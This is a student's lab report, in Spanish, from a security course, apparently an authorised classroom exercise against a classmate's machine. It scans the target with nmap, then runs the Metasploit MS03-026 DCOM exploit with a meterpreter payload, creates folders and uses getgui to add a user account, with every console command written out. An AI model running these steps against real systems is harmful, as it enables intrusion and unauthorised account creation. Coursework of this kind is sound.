# Alumno: Christian Valdespin Bautista

# Maestría en Ingeniería en Seguridad y Tecnologías de la Información.

# Materia: Servicios de Seguridad en Sistemas Operativos Multiusuario.

# Profesor: M. en C. Marcos Arturo Rosales García.

Reporte de Actividades:

1. Identificación de vulnerabilidades para explotación
	* Con la IP 192.168.3.35 (Equipo de Nery)
2. Id de vulnerabilidades del sistema
3. Buscar el exploit para explotar vulnerabilidades (Meta exploit)
4. Explotar vulnerabilidades (abrir un shell y crear una cuenta de usuario)
5. En la clase pasada se corrieron ciertos comandos con NMap para obtener los puertos abiertos, el sistema operativo asi como otras características del equipo a atacar como son las versiones de los programas instalados. Ejemplo de comando: nmap -PO -O 192.168.3.35 puertosNery.txt



1. Ocupamos el MS03 hay otros similares como:
* [exploit/windows/dcerpc/ms05\_017\_msmq](http://translate.googleusercontent.com/translate_c?hl=es&langpair=en%7Ces&u=http://www.metasploit.com/modules/exploit/windows/dcerpc/ms05_017_msmq&rurl=translate.google.com.mx&usg=ALkJrhhizgHGUThbeLq-CD_GxNeaElcFOw)
* [exploit/windows/dcerpc/ms07\_029\_msdns\_zonename](http://translate.googleusercontent.com/translate_c?hl=es&langpair=en%7Ces&u=http://www.metasploit.com/modules/exploit/windows/dcerpc/ms07_029_msdns_zonename&rurl=translate.google.com.mx&usg=ALkJrhjTLoiFkVhEB7cL5XAnV18GN7_PZg)
* [exploit/windows/dcerpc/ms07\_065\_msmq](http://translate.googleusercontent.com/translate_c?hl=es&langpair=en%7Ces&u=http://www.metasploit.com/modules/exploit/windows/dcerpc/ms07_065_msmq&rurl=translate.google.com.mx&usg=ALkJrhi1LdKDFCXEHhM99YTv2KOJC0qSew)
1. Se ocupo la siguiente exploit que explota la vulnerabilidad de Desbordamiento de Interface Microsoft RPC DCOM

Este modulo explota un stack buffer overflow en el servicio de RPCSS, esta vulneravilidad es originalmente encontrada por el últimos estado de etapa del grupo de investigación “Delirium” y ha sido ampliamente explotado desde entonces. En este módulo se pueden aprovechar las versiones en Inglés de Windows NT 4.0 Service Pack 3-6a, Windows 2000, Windows XP y Windows 2003 en un solo pedido.

Objetivos

 Windows NT SP3-6a/2000/XP/2003 universal (por defecto)

Información de uso

Desbordamiento de búfer en interfaz de una cierta DCOM RPC de Microsoft para Windows NT 4.0, 2000, XP y Server 2003 permite a atacantes remotos ejecutar código arbitrario mediante un mensaje con formato incorrecto, tan explotado por el Blaster / Msblast / LovSan y Nachi / Welchia gusanos

Después de probar varios exploits se procede a documentar el que funciono ya que varia cada exploit con el nivel de actualización que contenga dicho equipo.

**Primero**

En la consola de Metasploit ejecutaos el comando:

* use exploit/windows/dcerpc/ms03\_026\_dcom
* show payloads



Después ejecutamos el comando

* set PAYLOAD windows/meterpreter/bind\_tcp
* set RHOST 192.168.3.35 (Máquina Atacada)
* set LHOST 192.168.3.24 (Máquina Local)
* exploit (ejecutamos el exploit)



Dentro del sistema ejecute comandos básicos de msdos para situarme en raíz y crear una carpeta que se llame prueba y otra cvb:

* cd ..
* mkdir prueba cvb
* dir



Posteriormente ejecute el siguiente comando para crear un usuario y contraseña dentro del equipo.







Run getgui –u <usuario> -p <password>